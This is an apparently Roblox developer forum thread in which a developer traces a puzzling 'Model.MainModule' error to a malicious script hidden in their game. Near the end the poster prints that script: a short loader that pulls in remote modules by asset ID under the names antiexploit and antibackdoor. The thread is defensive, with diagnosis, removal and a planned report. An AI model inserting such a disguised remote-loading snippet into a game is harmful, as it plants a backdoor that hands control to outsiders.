Hello! In a game that I am working with, I get the following error:
Model.MainModule:18: attempt to compare number <= boolean
Stack Begin
Script 'Model.MainModule', Line 18 - function IsGameOwner
Script 'Model.MainModule', Line 23
Stack End
This error only happens outside of studio.
Searching for “MainModule” in the explorer yields no relevant results, both before runtime and during runtime.
“Model” isn’t a global variable or service, so I’m not sure how this script even exists.
How might I be able to fix this? This is just an annoying error that takes up space in the dev console.
Is it possible one of the developers of this game are using a plugin that causes this error? If so, how might I remove the plugin as I’m not the person who inserted such a plugin?
Most likely its a module loaded in from the library using require()
. Search in the explorer for any scripts that aren’t yours, as well as deleting any untrusted plugins.
2 Likes
You can probably track down the source of this error. We see that it’s from a module script inside a model. Try to search “Model” inside the explorer and see if you find anything that might have this module inside it. Or else, it might be one of the plugins. You would have to remove each of them and check if the script is still there until it would eventually not have that error anymore.
If it was something named Model, it would be a child of a service, eg. game.Workspace.Model.MainModule, not just Model.MainModule.
Sadly I’ve searched for this module multiple times and have not found it.
If @mistrustfully is correct, which I think they might be, the ModuleScript is not an Instance.
I’m currently searching for any scripts that require via an ID rather than requiring via an Instance.
This fixed it. I did the classic search for “script fix” and found a malicious script.
Thank you, and have a nice day!
Edit: This was the code that was malicious. I’ll be reverse engineering it and likely reporting it.
local mymodule2 = require(3667797501)
mymodule2.antiexploit()
wait(2)
local mymodule = require(3664252382)
mymodule.antibackdoor()
Edit: I reverse engineered the above code.
1 Like